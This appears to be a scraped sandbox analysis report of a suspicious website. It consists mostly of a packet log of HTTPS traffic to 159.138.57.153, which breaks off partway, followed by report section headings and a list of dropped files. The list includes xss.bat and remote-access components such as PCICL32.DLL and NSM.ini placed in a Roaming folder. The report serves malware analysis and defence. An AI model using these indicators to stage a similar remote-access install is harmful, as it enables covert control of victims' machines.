May 27, 2025 20:51:59.397439957 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:59.397677898 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:59.399349928 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:59.406809092 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:59.406907082 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:59.408201933 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:59.408977032 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:59.409012079 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:59.633929014 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:59.633961916 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:59.634021044 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:59.634057999 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:59.634253025 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:59.634330988 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:59.685576916 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:59.685841084 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:59.685976028 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:59.686258078 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:59.706825972 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:59.707165003 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:59.712425947 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:59.715548992 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:59.944092035 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:59.944593906 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:59.948964119 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:59.948993921 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:59.949803114 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:59.951697111 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:59.952176094 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:59.995080948 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:59.995373011 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:59.995398045 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:59.995625973 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:59.997802973 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:59.997819901 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:00.015960932 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:00.016156912 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:00.017328024 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:00.017498970 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:00.253988028 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:00.254086018 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:00.254338980 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:00.254487991 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:00.270142078 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:00.303838968 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:00.303916931 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:00.304107904 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:00.304184914 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:00.321883917 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:00.321964025 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:00.322134018 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:00.322204113 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:00.323539019 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:00.337188959 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:00.337272882 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:00.337480068 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:00.337548971 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:00.563764095 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:00.563806057 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:00.563859940 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:00.563920975 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:00.564085960 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:00.564158916 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:00.613506079 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:00.613596916 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:00.613792896 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:00.613878012 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:00.631416082 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:00.631494045 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:00.631659031 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:00.631731033 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:00.638957977 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:00.646806955 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:00.646868944 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:00.646965027 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:00.647047997 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:00.647128105 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:00.873466015 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:00.873512030 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:00.873742104 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:00.873785973 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:00.874494076 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:00.913028002 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:00.913311958 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:00.913317919 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:00.913408995 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:00.924045086 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:00.924329042 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:00.924510002 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:00.924540043 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:00.940996885 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:00.941000938 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:00.941245079 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:00.941658020 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:00.942013979 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:00.994213104 CEST	49681	80	192.168.2.4	2.17.190.73
May 27, 2025 20:52:00.997323036 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:00.997401953 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:00.997456074 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:00.997570992 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:00.997648954 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:01.183322906 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:01.183424950 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:01.183619976 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:01.183691025 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:01.222661018 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:01.222743988 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:01.222928047 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:01.223000050 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:01.226108074 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:01.233191967 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:01.233267069 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:01.233450890 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:01.233529091 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:01.250221968 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:01.250293016 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:01.250467062 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:01.250539064 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:01.253911972 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:01.253983974 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:01.254158974 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:01.254230022 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:01.308590889 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:01.308713913 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:01.308881044 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:01.309092999 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:01.310817957 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:01.352277040 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:01.492929935 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:01.493060112 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:01.493103981 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:01.493275881 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:01.541637897 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:01.541768074 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:01.541810036 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:01.541981936 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:01.543088913 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:01.543194056 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:01.543232918 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:01.543361902 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:01.559313059 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:01.559418917 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:01.559452057 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:01.559547901 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:01.563266993 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:01.563361883 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:01.563394070 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:01.563422918 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:01.574146986 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:01.574162960 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:01.617420912 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:01.617547035 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:01.617580891 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:01.617687941 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:01.804934978 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:01.805062056 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:01.805064917 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:01.805299997 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:01.805560112 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:01.805629015 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:01.805690050 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:01.805807114 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:01.812218904 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:01.812228918 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:01.851747036 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:01.851859093 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:01.851907015 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:01.852005959 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:01.852951050 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:01.853058100 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:01.853092909 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:01.853243113 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:01.869344950 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:01.869450092 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:01.870945930 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:01.871260881 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:01.872735977 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:01.872838974 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:01.872874022 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:01.873469114 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:01.926709890 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:01.926836967 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:01.926877975 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:01.926960945 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:01.928680897 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:01.928688049 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:02.114984989 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:02.115120888 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:02.115169048 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:02.115351915 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:02.115480900 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:02.115618944 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:02.160587072 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:02.160690069 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:02.160794973 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:02.161375999 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:02.161694050 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:02.161801100 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:02.161839008 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:02.161978960 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:02.178158045 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:02.178262949 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:02.178301096 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:02.178695917 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:02.179553986 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:02.179651976 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:02.179733992 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:02.180263996 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:02.184055090 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:02.184166908 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:02.184405088 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:02.184614897 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:02.200201988 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:02.200233936 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:02.237931013 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:02.238228083 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:02.244296074 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:02.244555950 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:02.245362043 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:02.425355911 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:02.425451040 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:02.425501108 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:02.425564051 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:02.425591946 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:02.427081108 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:02.427141905 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:02.427289963 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:02.427297115 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:02.428473949 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:52:02.428479910 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:02.428814888 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:52:02.429002047 CEST	443	49736

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report http://www.focuslight.com/

Overview

General Information

Detection

Signatures

Classification

Process Tree

AI Reasoning

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

HTML

Sigma Signatures

System Summary

Remote Access Functionality

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\xss.bat

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mg2ywird.xqp.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mtgkoksc.wue.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ny4jkaeu.wzk.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rtfog15h.3df.psm1

C:\Users\user\AppData\Roaming\Directory\HTCTL32.DLL

C:\Users\user\AppData\Roaming\Directory\NSM.LIC

C:\Users\user\AppData\Roaming\Directory\NSM.ini

C:\Users\user\AppData\Roaming\Directory\PCICHEK.DLL

C:\Users\user\AppData\Roaming\Directory\PCICL32.DLL

Windows Analysis Report
http://www.focuslight.com/